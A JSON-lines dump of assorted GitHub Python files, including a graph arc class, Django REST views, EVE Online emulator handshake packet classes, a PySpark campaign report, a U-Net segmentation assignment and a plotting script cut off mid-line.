{"seq_id":"21481861979","text":"class Arc(object):\n\n    def __init__(self,from_node,to_node,cost=1,action=None):  #costruttore, costo=1 se non specificato, Azione nulla se non specificata\n        self.from_node=from_node\n        self.to_node=to_node\n        self.cost=cost\n        self.action=action\n        assert cost>=0, (f\"Il costo non puo' essere negativo: {self}, costo={cost}\")\n        \"\"\"se il costo è negativo stampa a schermo il messagggio e al posto di self e cost mette i valori (come fosse un .toString())\"\"\"\n        \"\"\"la notazione con la f permette di usare le parentesi graffe\"\"\"\n\n    def __repr__(self): #Sarebbe il toString\n        if self.action:  #diverso da None/False\n            return f\"{self.from_node}--{self.action}-->{self.to_node}\"\n        else:\n            return f\"{self.from_node}-->{self.to_node}\"\n\n\n","repo_name":"Fonty02/ICON","sub_path":"Grafi/Arc.py","file_name":"Arc.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8012429418","text":"import setuptools\n\nwith open(\"README.md\",\"r\",encoding=\"utf-8\" ) as f:\n    long_description = f.read()\n\n__version__ =\"0.0.0\"\n\nREPO_NAME = \"TextVortex-Text-summarization\"\nAUTHOR_USER_NAME = \"lokeshwarlakhi\"\nSRC_REPO = \"TextVortex\"\nAUTHOR_EMAIL = \"lokeshwarlakhi@gmail.com\"\n\nsetuptools.setup(\n    name = SRC_REPO,\n    version = __version__,\n    author= AUTHOR_USER_NAME,\n    author_email= AUTHOR_EMAIL,\n    description= \"Summarize your long lengthed paras like never before!\",\n    long_description=long_description,\n    long_description_content = 'text/markdown',\n    url = f\"https://github.com/{AUTHOR_USER_NAME}/{REPO_NAME}\",\n    project_urls = {\n        \"Bug Tracker\":f\"https://github.com/{AUTHOR_USER_NAME}/{REPO_NAME}/issues\",\n    },\n    package_dir={\"\":\"src\"},\n    packages = setuptools.find_packages(where=\"src\")\n)","repo_name":"lokeshwarlakhi/TextVortex-Text-summarization","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15712024371","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\n\nfrom .models import Category, Product\nfrom .serializers import CategorySerializer, ProductSerializer\nfrom rest_framework.generics import ListAPIView, CreateAPIView\n\n\n# Create your views here.\n\n\ndef index(request):\n    return HttpResponse('<h1>main</h1>')\n\n\nclass CategoryListAPIView(ListAPIView):\n    serializer_class = CategorySerializer\n    model = Category\n    queryset = Category.objects.all()\n\n\nclass CategoryCreateAPIView(CreateAPIView):\n    serializer_class = CategorySerializer\n    model = Category\n    queryset = Category.objects.all()\n\n\nclass ProductListAPIView(ListAPIView):\n    serializer_class = ProductSerializer\n    queryset = Product.objects.filter(is_available=True)\n\n    def get_queryset(self, **kwargs):\n        slug = self.kwargs.get(\"category_slug\")\n        if slug:\n            products = Product.objects.filter(is_available=True, category__slug=slug)\n        else:\n            products = Product.objects.filter(is_available=True)\n        return products\n\nclass ProductCreateAPIView(CreateAPIView):\n    serializer_class = ProductSerializer\n    model = Product\n    queryset = Product.objects.all()","repo_name":"igorGavr/pythonShop","sub_path":"apps/kitchen/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"17233119840","text":"# Packets for handling Crypto Handshake\nclass VersionExchangeServerPkt:\n    def __init__(self, birthday, machoNet, userCount, versionNumber, buildVersion, projVersion):\n        self.birthday = birthday\n        self.machoNet = machoNet\n        self.userCount = userCount\n        self.versionNumber = versionNumber\n        self.buildVersion = buildVersion\n        self.projVersion = projVersion\n\n    def encode(self):\n        return (\n            self.birthday,\n            self.machoNet,\n            self.userCount,\n            self.versionNumber,\n            self.buildVersion,\n            self.projVersion,\n            None  # update_info\n        )\n\n\nclass VersionExchangeClientPkt:\n    def __init__(self, pkt):\n        print(pkt)\n        self.birthday = pkt[0]\n        self.machoNet = pkt[1]\n        self.userCount = pkt[2]\n        self.versionNumber = pkt[3]\n        self.buildVersion = pkt[4]\n        self.projVersion = pkt[5]\n\n    def encode(self):\n        return (\n            self.birthday,\n            self.machoNet,\n            self.userCount,\n            self.versionNumber,\n            self.buildVersion,\n            self.projVersion\n        )\n\n\n# This packet places client in connection queue and sends queue position\nclass NetCommand_QC:\n    def __init__(self, queuePosition):\n        self.queuePosition = queuePosition\n\n    def encode(self):\n        return None, self.queuePosition\n\n\nclass NetCommand_VK:\n    def __init__(self, vipKey):\n        self.vipKey = vipKey\n\n    def encode(self):\n        return None, self.vipKey\n\n\nclass CryptoRequestPacket:\n    def __init__(self, keyVersion, keyParams):\n        self.keyVersion = keyVersion\n        self.keyParams = keyParams\n\n    def encode(self):\n        return self.keyVersion, self.keyParams\n\n\nclass CryptoAPIRequestParams:\n    def __init__(self, sessionKey, hashMethod, sessionKeyLength, provider, sessionKeyMethod):\n        self.sessionKey = sessionKey\n        self.hashMethod = hashMethod\n        self.sessionKeyLength = sessionKeyLength\n        self.provider = provider\n        self.sessionKeyMethod = sessionKeyMethod\n\n    def encode(self):\n        return ({\n                    'crypting_sessionkey': self.sessionKey,\n                    'signing_hashmethod': self.hashMethod,\n                    'crypting_sessionkeylength': self.sessionKeyLength,\n                    'crypting_securityprovidertype': self.provider,\n                    'crypting_sessionkeymethod': self.sessionKeyMethod\n                })\n\n\nclass CryptoChallengePacket:\n    def __init__(self, clientChallenge, machoVersion, bootVersion,\n                 bootBuild, bootCodename, bootRegion, userName,\n                 userPassword, userPasswordHash, userLanguageID, userAffiliateID):\n        self.clientChallenge = clientChallenge\n        self.machoVersion = machoVersion\n        self.bootVersion = bootVersion\n        self.bootBuild = bootBuild\n        self.bootCodename = bootCodename\n        self.bootRegion = bootRegion\n        self.userName = userName\n        self.userPassword = userPassword\n        self.userPasswordHash = userPasswordHash\n        self.userLanguageID = userLanguageID\n        self.userAffiliateID = userAffiliateID\n\n    def encode(self):\n        return (\n            self.clientChallenge,\n            {\n                'macho_version': self.machoVersion,\n                'boot_version': self.bootVersion,\n                'boot_build': self.bootBuild,\n                'boot_codename': self.bootCodename,\n                'boot_region': self.bootRegion,\n                'user_name': self.userName,\n                'user_password': self.userPassword,\n                'user_password_hash': self.userPasswordHash,\n                'user_languageid': self.userLanguageID,\n                'user_affiliateid': self.userAffiliateID\n            })\n\n\nclass CryptoServerHandshake:\n    serverChallenge = None\n    funcMarshaledCode = None\n    verification = None\n    context = None\n    challengeResponseHash = None\n    machoVersion = None\n    bootVersion = None\n    bootBuild = None\n    bootCodename = None\n    bootRegion = None\n    clusterUserCount = None\n    proxyNodeID = None\n    userLogonQueuePosition = None\n    imageServerURL = None\n\n    def __init__(self):\n        pass\n\n    def encode(self):\n        return (\n            self.serverChallenge,\n            (\n                self.funcMarshaledCode,\n                self.verification\n            ),\n            self.context,\n            {\n                'challenge_responsehash': self.challengeResponseHash,\n                'macho_version': self.machoVersion,\n                'boot_version': self.bootVersion,\n                'boot_build': self.bootBuild,\n                'boot_codename': self.bootCodename,\n                'boot_region': self.bootRegion,\n                'cluster_usercount': self.clusterUserCount,\n                'proxy_nodeid': self.proxyNodeID,\n                'user_logonqueueposition': self.userLogonQueuePosition,\n                'config_vals': {'imageServerURL': self.imageServerURL}\n            })\n\n\nclass CryptoHandshakeResult:\n    challengeResponseHash = None\n    funcOutput = None\n    funcResult = None\n\n    def __init__(self):\n        pass\n\n    def encode(self):\n        return (\n            self.challengeResponseHash,\n            self.funcOutput,\n            self.funcResult\n        )\n\n\nclass CryptoHandshakeResultAck:\n    liveUpdates = None\n    languageID = None\n    userID = None\n    maxSessionTime = None\n    userType = None\n    role = None\n    address = None\n    inDetention = None\n    clientHash = None\n    userClientID = None\n    \n    def __init__(self):\n        pass    \n\n    def encode(self):\n        return {\n            'liveUpdates': self.liveUpdates,\n            'session_init': {\n                'languageID': self.languageID,\n                'userid': self.userID,\n                'maxSessionTime': self.maxSessionTime,  #seen None\n                'userType': self.userType,\n                'role': self.role,\n                'address': self.address,\n                'inDetention': self.inDetention\n            },\n            'client_hash': self.clientHash,\n            'user_clientid': self.userClientID\n        }\n\n\n\n\n\n\n\n\n\n","repo_name":"Reve/EVEmu_stackless","sub_path":"packets/HandshakePkts.py","file_name":"HandshakePkts.py","file_ext":"py","file_size_in_byte":6171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32795550027","text":"import math\nimport torch \n\nclass2id = {'None': 0, 'A': 1, 'O': 2, 'Mixed': 3, 'Negative': 4, 'Neutral': 5, 'Positive': 6}\n\nclass Instance(object):\n    def __init__(self, sentence_pack, word2index, category2index, args):\n        self.id = sentence_pack['id']\n        self.sentence = sentence_pack['sentence']\n\n        '''generate sentence tokens'''\n        self.sentence_tokens = torch.zeros(args.max_sequence_len).long()\n        words = self.sentence.split()\n        self.length = len(words)\n        for i, w in enumerate(words):\n            # word = w.lower()\n            word = w\n            if word in word2index:\n                self.sentence_tokens[i] = word2index[word]\n            else:\n                self.sentence_tokens[i] = word2index['<unk>']\n        \n        self.tags = torch.zeros(1+args.max_sequence_len, 1+args.max_sequence_len).long()\n        self.tags_category = torch.zeros(1+args.max_sequence_len, 1+args.max_sequence_len).long()\n        self.tags[:, :] = -1\n        self.tags_category[:, :] = -1\n\n        for i in range(self.length+1):\n            for j in range(i, self.length+1):\n                self.tags[i][j] = 0\n                self.tags_category[i][j] = 0\n\n        self.quads = sentence_pack['quads']\n        for quad in self.quads:\n            a_l_span, a_r_span = quad[0]+1, quad[1]+1\n            o_l_span, o_r_span = quad[4]+1, quad[5]+1\n            category, sentiment = category2index[quad[2]], quad[3] + 3\n \n            # EA & EO\n            if a_l_span != 0 and a_r_span != 0 and o_l_span != 0 and o_r_span != 0:\n                for i in range(a_l_span, a_r_span+1):\n                    self.tags[i][i] = class2id['A']\n                    if i > a_l_span: \n                        self.tags[i-1][i] = class2id['A']\n                    for j in range(i, a_r_span+1):\n                        self.tags[i][j] = class2id['A']\n\n                for i in range(o_l_span, o_r_span+1):\n                    self.tags[i][i] = class2id['O']\n                    if i > o_l_span: \n                        self.tags[i-1][i] = class2id['O']\n                    for j in range(i, o_r_span+1):\n                        self.tags[i][j] = class2id['O']\n\n                for i in range(a_l_span, a_r_span+1):\n                    for j in range(o_l_span, o_r_span+1):\n                        if i > j: \n                            self.tags[j][i] = sentiment\n                            self.tags_category[j][i] = category\n                        else: \n                            self.tags[i][j] = sentiment\n                            self.tags_category[i][j] = category\n            \n            # IA & EO\n            elif a_l_span == 0 and a_r_span == 0 and o_l_span != 0 and o_r_span != 0:\n                if self.tags[0][0] < 4:\n                    if self.tags[0][0] == class2id['None']:\n                        self.tags[0][0] = class2id['A']\n                    elif self.tags[0][0] == class2id['O']:\n                        self.tags[0][0] = class2id['Mixed']\n\n                for i in range(o_l_span, o_r_span+1):\n                    self.tags[i][i] = class2id['O']\n                    if i > o_l_span: \n                        self.tags[i-1][i] = class2id['O']\n                    for j in range(i, o_r_span+1):\n                        self.tags[i][j] = class2id['O']\n\n                for i in range(a_l_span, a_r_span+1):\n                    for j in range(o_l_span, o_r_span+1):\n                        if i > j: \n                            self.tags[j][i] = sentiment\n                            self.tags_category[j][i] = category\n                        else: \n                            self.tags[i][j] = sentiment\n                            self.tags_category[i][j] = category\n            \n            # EA & IO\n            elif a_l_span != 0 and a_r_span != 0 and o_l_span == 0 and o_r_span == 0:\n                for i in range(a_l_span, a_r_span+1):\n                    self.tags[i][i] = class2id['A']\n                    if i > a_l_span: \n                        self.tags[i-1][i] = class2id['A']\n                    for j in range(i, a_r_span+1):\n                        self.tags[i][j] = class2id['A']\n\n                if self.tags[0][0] < 4:\n                    if self.tags[0][0] == class2id['None']:\n                        self.tags[0][0] = class2id['O']\n                    elif self.tags[0][0] == class2id['A']:\n                        self.tags[0][0] = class2id['Mixed']\n\n                for i in range(a_l_span, a_r_span+1):\n                    for j in range(o_l_span, o_r_span+1):\n                        if i > j: \n                            self.tags[j][i] = sentiment\n                            self.tags_category[j][i] = category\n                        else: \n                            self.tags[i][j] = sentiment\n                            self.tags_category[i][j] = category\n           \n            # IA & IO\n            elif a_l_span == 0 and a_r_span == 0 and o_l_span == 0 and o_r_span == 0:\n                self.tags[0][0] = sentiment\n                self.tags_category[0][0] = category\n\n        '''generate mask of the sentence'''\n        self.sentence_mask = torch.zeros(args.max_sequence_len)\n        self.sentence_mask[:self.length] = 1\n\n        '''generate mask of the overall sentence'''\n        self.mask = torch.zeros(args.max_sequence_len+1)\n        self.mask[:self.length+1] = 1\n\ndef load_data_instances(sentence_packs, word2index, category2index, args):\n    instances = list()\n    for sentence_pack in sentence_packs:\n        instances.append(Instance(sentence_pack, word2index, category2index, args))\n    return instances\n\nclass DataIterator(object):\n    def __init__(self, instances, args):\n        self.instances = instances\n        self.args = args\n        self.batch_count = math.ceil(len(instances)/args.batch_size)\n\n    def get_batch(self, index):\n        sentence_ids = []\n        sentence_tokens = []\n        lengths = []\n        sentence_masks = []\n        masks = []\n        tags = []\n        tags_category = []\n\n        for i in range(index * self.args.batch_size,\n                       min((index + 1) * self.args.batch_size, len(self.instances))):\n            sentence_ids.append(self.instances[i].id)\n            sentence_tokens.append(self.instances[i].sentence_tokens)\n            lengths.append(self.instances[i].length)\n            sentence_masks.append(self.instances[i].sentence_mask)\n            masks.append(self.instances[i].mask)\n            tags.append(self.instances[i].tags)\n            tags_category.append(self.instances[i].tags_category)\n\n        indexes = list(range(len(sentence_tokens)))\n        indexes = sorted(indexes, key=lambda x: lengths[x], reverse=True)\n\n        sentence_ids = [sentence_ids[i] for i in indexes]\n        sentence_tokens = torch.stack(sentence_tokens).to(self.args.device)[indexes]\n        lengths = torch.tensor(lengths).to(self.args.device)[indexes]\n        sentence_masks = torch.stack(sentence_masks).to(self.args.device)[indexes]\n        masks = torch.stack(masks).to(self.args.device)[indexes]\n        tags = torch.stack(tags).to(self.args.device)[indexes]\n        tags_category = torch.stack(tags_category).to(self.args.device)[indexes]\n\n        return sentence_ids, sentence_tokens, lengths, sentence_masks, masks, tags, tags_category\n","repo_name":"992335163/SGGTS-ASQE","sub_path":"ASQE code/code/NNModel/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":7280,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"11948964624","text":"import sys\n\n\ndef countsort1(arr):\n    count = {}\n    res = \"\"\n\n    for x in range(0, 100):\n        count[x] = 0\n\n    for x in arr:\n        count[x] += 1\n\n    for x in range(0, 100):\n        res += str(count[x]) + \" \"\n\n    return res\n\n\ndef countsort(arr):\n    count = {}\n    res = []\n\n    for x in range(0, 100):\n        count[x] = 0\n\n    for x in arr:\n        count[x] += 1\n\n    for x in range(0, 100):\n        if count[x] != 0:\n            for times in range(count[x]):\n                res.append(x)\n\n    return res\n\nif __name__ == \"__main__\":\n    for i, line in enumerate(sys.stdin):\n        if i == 0:\n            size = int(line.strip(\"\\n\"))\n        else:\n            parsed = [int(x) for x in line.split()]\n            result = countsort(parsed)\n            print(\" \".join(map(str, result)))\n","repo_name":"bradyz/sandbox","sub_path":"hackerrank/arraysort/countingsort.py","file_name":"countingsort.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"2806109274","text":"import re\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom typing import Dict, Any, List\n\nimport pandas as pd\nimport plotnine\nfrom plotnine import *\nfrom pyspark.sql import DataFrame\nfrom pyspark.sql import Window\nfrom pyspark.sql import functions as F\nfrom pyspark.sql.types import DateType\n\nfrom customer360.utilities.spark_util import get_spark_session\n\n\ndef gcg_contamination_checking_report():\n    l0_campaign_tracking_contact_list_pre_full_load = catalog.load(\n        \"l0_campaign_tracking_contact_list_pre_full_load\"\n    )\n    l0_campaign_tracking_contact_list_pre_full_load = l0_campaign_tracking_contact_list_pre_full_load.where(\n        \"date(contact_date) > date('2020-10-05')\"\n    )\n\n    l3_customer_profile_union_monthly_feature = catalog.load(\n        \"l3_customer_profile_union_monthly_feature\"\n    )\n    max_month = (\n        l3_customer_profile_union_monthly_feature.withColumn(\"G\", F.lit(1))\n        .groupby(\"G\")\n        .agg(F.max(\"start_of_month\").alias(\"start_of_month\"))\n        .drop(\"G\")\n        .collect()\n    )\n\n    l3_gcg_latest = (\n        l3_customer_profile_union_monthly_feature.where(\n            \"\"\"date(start_of_month) = date('\"\"\"\n            + datetime.datetime.strftime(max_month[0][0], \"%Y-%m-%d\")\n            + \"\"\"')\"\"\"\n        )\n        .selectExpr(\n            \"old_subscription_identifier\",\n            \"date(register_date) as register_date\",\n            \"global_control_group\",\n            \"start_of_month\",\n        )\n        .where(\"global_control_group = 'Y'\")\n    )\n    l0_selected_campaign_columns = l0_campaign_tracking_contact_list_pre_full_load.selectExpr(\n        \"campaign_system\",\n        \"subscription_identifier as old_subscription_identifier\",\n        \"date(register_date) as register_date\",\n        \"campaign_type\",\n        \"campaign_group\",\n        \"campaign_child_code\",\n        \"campaign_name\",\n        \"date(contact_date) as contact_date\",\n        \"date(update_date) as update_date\",\n    )\n\n    l0_selected_campaign_columns = l0_selected_campaign_columns.join(\n        l3_gcg_latest, [\"old_subscription_identifier\", \"register_date\"], \"inner\"\n    )\n\n    l0_updated_campaign = l0_selected_campaign_columns.groupby(\n        \"old_subscription_identifier\",\n        \"register_date\",\n        \"campaign_child_code\",\n        \"contact_date\",\n    ).agg(F.max(\"update_date\").alias(\"update_date\"))\n\n    l0_latest_campaign_updated = l0_selected_campaign_columns.join(\n        l0_updated_campaign,\n        [\n            \"old_subscription_identifier\",\n            \"register_date\",\n            \"campaign_child_code\",\n            \"contact_date\",\n            \"update_date\",\n        ],\n        \"inner\",\n    )\n\n    l0_latest_campaign_updated.selectExpr(\n        \"*\", \"CONCAT(YEAR(contact_date),'-',MONTH(contact_date),'-01') AS contact_month\"\n    ).groupby(\n        \"contact_date\",\n        \"campaign_child_code\",\n        \"campaign_system\",\n        \"campaign_type\",\n        \"campaign_group\",\n        \"campaign_name\",\n        \"global_control_group\",\n    ).agg(\n        F.count(\"*\").alias(\"Total_contacts_daily\"),\n        F.countDistinct(\"old_subscription_identifier\").alias(\"Distinct_subs\"),\n    ).toPandas().to_csv(\n        \"data/tmp/gcg_campaign_contact_contamination_20201125.csv\",\n        index=False,\n        header=True,\n    )\n\n    l0_latest_campaign_updated.selectExpr(\n        \"*\", \"CONCAT(YEAR(contact_date),'-',MONTH(contact_date),'-01') AS contact_month\"\n    ).groupby(\n        \"contact_month\",\n        \"campaign_child_code\",\n        \"campaign_system\",\n        \"campaign_type\",\n        \"campaign_group\",\n        \"campaign_name\",\n        \"global_control_group\",\n    ).agg(\n        F.count(\"*\").alias(\"Total_contacts\"),\n        F.countDistinct(\"old_subscription_identifier\").alias(\"Distinct_subs\"),\n    ).toPandas().to_csv(\n        \"data/tmp/gcg_campaign_contact_contamination_20201125_monthly.csv\",\n        index=False,\n        header=True,\n    )\n\n    return df\n","repo_name":"Namonsasip/c360_pr","sub_path":"src/nba/report/nodes/report_gcg_nodes.py","file_name":"report_gcg_nodes.py","file_ext":"py","file_size_in_byte":3928,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"31476204469","text":"import tensorflow as tf\n\nimport tensorflow_datasets as tfds\n\nfrom IPython.display import clear_output\nimport matplotlib.pyplot as plt\n\nimport os\nimport sys\nimport random\n\nimport numpy as np\nimport cv2\n\nfrom tensorflow import keras\n\ndataset, info = tfds.load('oxford_iiit_pet:3.*.*', with_info=True)\n\nimage_size = 128\n\ndef normalize(input_image, input_mask):\n  input_image = tf.cast(input_image, tf.float32) / 255.0\n  input_mask -= 1\n  return input_image, input_mask\n\n\n@tf.function\ndef load_image_train(datapoint):\n  input_image = tf.image.resize(datapoint['image'], (image_size, image_size))\n  input_mask = tf.image.resize(datapoint['segmentation_mask'], (image_size, image_size))\n\n  if tf.random.uniform(()) > 0.5:\n    input_image = tf.image.flip_left_right(input_image)\n    input_mask = tf.image.flip_left_right(input_mask)\n\n  input_image, input_mask = normalize(input_image, input_mask)\n\n  return input_image, input_mask \n\n\ndef load_image_test(datapoint):\n  input_image = tf.image.resize(datapoint['image'], (image_size, image_size))\n  input_mask = tf.image.resize(datapoint['segmentation_mask'], (image_size, image_size))\n\n  input_image, input_mask = normalize(input_image, input_mask)\n\n  return input_image, input_mask\n\nTRAIN_LENGTH = info.splits['train'].num_examples\nBATCH_SIZE = 64\nBUFFER_SIZE = 1000\nSTEPS_PER_EPOCH = TRAIN_LENGTH // BATCH_SIZE\n\nprint(TRAIN_LENGTH)\nprint(STEPS_PER_EPOCH)\n\ntrain = dataset['train'].map(load_image_train, num_parallel_calls=tf.data.experimental.AUTOTUNE)\ntest = dataset['test'].map(load_image_test)\n                           \ntrain_dataset = train.cache().shuffle(BUFFER_SIZE).batch(BATCH_SIZE).repeat()\ntrain_dataset = train_dataset.prefetch(buffer_size=tf.data.experimental.AUTOTUNE)\ntest_dataset = test.batch(BATCH_SIZE)\n\ndef display(display_list):\n  plt.figure(figsize=(15, 15))\n\n  title = ['Input Image', 'True Mask', 'Predicted Mask']\n\n  for i in range(len(display_list)):\n    plt.subplot(1, len(display_list), i+1)\n    plt.title(title[i])\n    plt.imshow(tf.keras.preprocessing.image.array_to_img(display_list[i]))\n    plt.axis('off')\n  plt.show()\n\nfor image, mask in train.take(3):\n  sample_image, sample_mask = image, mask\ndisplay([sample_image, sample_mask])\n\ndef down_block(x, filters, kernel_size=(3, 3), padding=\"same\", strides=1):\n    c = keras.layers.Conv2D(filters, kernel_size, padding=padding, strides=strides, activation=\"relu\")(x)\n    c = keras.layers.Conv2D(filters, kernel_size, padding=padding, strides=strides, activation=\"relu\")(c)\n    p = keras.layers.MaxPool2D((2, 2), (2, 2))(c)\n    return c, p\n\ndef up_block(x, skip, filters, kernel_size=(3, 3), padding=\"same\", strides=1):\n    us = keras.layers.UpSampling2D((2, 2))(x)\n    concat = keras.layers.Concatenate()([us, skip])\n    c = keras.layers.Conv2D(filters, kernel_size, padding=padding, strides=strides, activation=\"relu\")(concat)\n    c = keras.layers.Conv2D(filters, kernel_size, padding=padding, strides=strides, activation=\"relu\")(c)\n    return c\n\ndef bottleneck(x, filters, kernel_size=(3, 3), padding=\"same\", strides=1):\n    c = keras.layers.Conv2D(filters, kernel_size, padding=padding, strides=strides, activation=\"relu\")(x)\n    c = keras.layers.Conv2D(filters, kernel_size, padding=padding, strides=strides, activation=\"relu\")(c)\n    return c\n\ndef UNet():\n    f = [16, 32, 64, 128, 256]   #Number of conv. filters in each block\n    inputs = keras.layers.Input((image_size, image_size, 3))\n    \n    p0 = inputs\n    #p1 will go to the next down block and c1 will go to the matching up block\n    c1, p1 = down_block(p0, f[0]) #128 -> 64\n    \n    ########################################################\n    #************* Complete the model here *****************\n    #Your code should be only in this block. Add the corresponding \n    #down blocks, followed by the bottleneck block, followed by matching \n    #up blocks. \n\n    c2, p2 = down_block(p1, f[1]) #64 -> 32\n    c3, p3 = down_block(p2, f[2]) #32 -> 16\n    c4, p4 = down_block(p3, f[3]) #16 -> 8\n    c5 = bottleneck(p4, f[4]) #8 -> 8\n    u1 = up_block(c5, c4, f[3]) #8 -> 16\n    u2 = up_block(u1, c3, f[2]) #16 -> 32\n    u3 = up_block(u2, c2, f[1]) #32 -> 64\n\n    ########################################################\n\n    u4 = up_block(u3, c1, f[0]) #64 -> 128\n    \n    #outputs = keras.layers.Conv2D(1, (1, 1), padding=\"same\", activation=\"sigmoid\")(u4)\n    outputs = keras.layers.Conv2D(4, (1, 1), padding=\"same\", activation=\"softmax\")(u4)\n    model = keras.models.Model(inputs, outputs)\n    return model\n\nmodel = UNet()\nmodel.compile(optimizer='adam',\n              loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n              metrics=['accuracy'])\nmodel.summary()\n\ndef create_mask(pred_mask):\n  pred_mask = tf.argmax(pred_mask, axis=-1)\n  pred_mask = pred_mask[..., tf.newaxis]\n  return pred_mask[0]\n\ndef show_predictions(dataset=None, num=1):\n  if dataset:\n    for image, mask in dataset.take(num):\n      pred_mask = model.predict(image)\n      display([image[0], mask[0], create_mask(pred_mask)])\n  else:\n    display([sample_image, sample_mask,\n             create_mask(model.predict(sample_image[tf.newaxis, ...]))])\n\nclass DisplayCallback(tf.keras.callbacks.Callback):\n  def on_epoch_end(self, epoch, logs=None):\n    clear_output(wait=True)\n    show_predictions()\n    print ('\\nSample Prediction after epoch {}\\n'.format(epoch+1))\n\nEPOCHS = 15\nVAL_SUBSPLITS = 5\nVALIDATION_STEPS = info.splits['test'].num_examples//BATCH_SIZE//VAL_SUBSPLITS\n\nmodel_history = model.fit(train_dataset, epochs=EPOCHS,\n                          steps_per_epoch=STEPS_PER_EPOCH,\n                          validation_steps=VALIDATION_STEPS,\n                          validation_data=test_dataset,\n                          callbacks=[DisplayCallback()])\n\nshow_predictions(test_dataset, 3)\n","repo_name":"RaSingh02/U-Net-for-Semantic-Segmentation","sub_path":"u_net_cs470_cs570_assignment_version.py","file_name":"u_net_cs470_cs570_assignment_version.py","file_ext":"py","file_size_in_byte":5785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35179955263","text":"import os\n\nimport fire\nimport numpy as np\nimport scipy.stats\nimport pandas\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport itermplot\n\nfrom matplotlib.ticker import FuncFormatter\n\nOUTPUT = 'generated'\nRNG = np.random.RandomState(0)\n\n# reverse plot color is output is in the terminal\nitermplot.THEME = 'rv' if OUTPUT is None else ''\nmatplotlib.use('module://itermplot')\n\nmatplotlib.rcParams['font.sans-serif'] = 'Source Sans Pro'\nmatplotlib.rcParams['font.family'] = 'sans-serif'\nmatplotlib.rcParams['font.weight'] = 'semibold'\nmatplotlib.rcParams['font.size'] = '10'\nmatplotlib.rcParams['pdf.fonttype'] = 42\n\n\ndef formatter(x, pos):\n    if x != 0:\n        if abs(x) > 1:  # hacky\n            x = f'{int(x)}'\n        else:\n            x = ('%.2f' % x).lstrip('0').rstrip('0')\n    else:\n        x = '0'\n    return x\n\n\ndef corr(df, x, y, report_p=False):\n\n    sel = df[x].notnull() & df[y].notnull()\n    try:\n        r, p = scipy.stats.pearsonr(df.loc[sel, x], df.loc[sel, y])\n    except:\n        breakpoint()\n    if p > .05:\n        r = 'r: n.s.'\n    else:\n        r = 'r = ' + f'{r:.2f}'.lstrip('0')\n\n    if report_p:\n        if p < .001:\n            p_level = f'{p:.0e}'\n        elif p < .01:\n            p_level = '.01'\n        elif p < .05:\n            p_level = '.05'\n        else:\n            p_level = ''\n\n        if p_level != '':\n            r += f' (p < {p_level})'\n    \n    return r\n\n\ndef output_paper_quality(ax, title=None, xlabel=None, ylabel=None):\n    ax.set_title(title)\n    ax.set_xlabel(xlabel, weight='semibold', size=12)\n    ax.set_ylabel(ylabel, weight='semibold', size=12)\n\n    ax.xaxis.set_major_formatter(FuncFormatter(formatter))\n    ax.yaxis.set_major_formatter(FuncFormatter(formatter))\n    ax.spines['right'].set_visible(False)\n    ax.spines['top'].set_visible(False)\n    ax.tick_params(bottom=False, left=False)\n    \n\ndef output(filename):\n    plt.tight_layout()\n    if OUTPUT is not None:\n        plt.savefig(os.path.join(OUTPUT, f'{filename}.png'), bbox_inches='tight', dpi=300)\n        plt.savefig(os.path.join(OUTPUT, f'{filename}.pdf'), bbox_inches='tight', transparent=True)\n    else:\n        plt.show()\n\n\ndef scatterplot(ax, df, x, y, scale=30, annotate=False):\n    dff = df[df.Model != 'CORnet-S']\n    jitter = dff.jitter if 'jitter' in dff else 0\n    ax.scatter(dff[x] + jitter, dff[y], s=scale, color=dff.color, alpha=.7, edgecolors='none')#linewidths=.1)\n    \n    dff = df[df.Model == 'CORnet-S']\n    jitter = dff.jitter if 'jitter' in dff else 0\n    ax.scatter(dff[x] + jitter, dff[y], s=2*scale, color=dff.color, alpha=.7, edgecolors='none')#, linewidths=.1)\n    \n    if annotate:\n        for idx, row in df.iterrows():\n            ax.text(row[x], row[y], row.Model)\n    return ax\n\n\ndef read_common_data():\n    df = pandas.read_csv('data/data.csv')\n\n    for idx, row in df.iterrows():\n        if row.Model.lower().startswith('basenet'):\n            color = 'gray'\n        elif row.Model.lower().startswith('cornet'):\n            color = 'crimson'\n        else:\n            color = '#078930'\n        df.loc[idx, 'color'] = color\n\n    return df\n\n\ndef _fig1(df, scale=15, inset=False):\n    ax = plt.subplot(111)\n    scatterplot(ax, df, x='ImageNet', y='Brain-Score', scale=scale)\n    if not inset:\n        df = df[df.ImageNet < .7]\n    r = corr(df, x='ImageNet', y='Brain-Score')\n    \n    ax.annotate(r, xy=(.75, .1),\n                xycoords='axes fraction',\n                # horizontalalignment='left', verticalalignment='top',\n                fontsize=10)\n    output_paper_quality(ax, \n            xlabel='ImageNet top-1 performance',\n            ylabel='Brain-Score')\n\n\ndef fig1():\n    df = read_common_data()\n    plt.figure(figsize=(4, 4))\n    _fig1(df, scale=15)\n    output('fig1')\n    plt.figure(figsize=(3, 3))\n    _fig1(df[(df['ImageNet'] >= .7) & (df.Model != 'CORnet-S')], scale=45, inset=True)\n    output('fig1_inset')\n\n\ndef _fig2(ax, df, x, y, title=None, xlabel=None, ylabel=None, index=0, r=None):\n    scatterplot(ax, df, x, y)\n    r = corr(df[df.Model != 'CORnet-S'], x, y)\n    ax.annotate(r, xy=(.75, .1), xycoords='axes fraction', fontsize=10)\n    ax.annotate(f\"({'abcd'[index]})\", 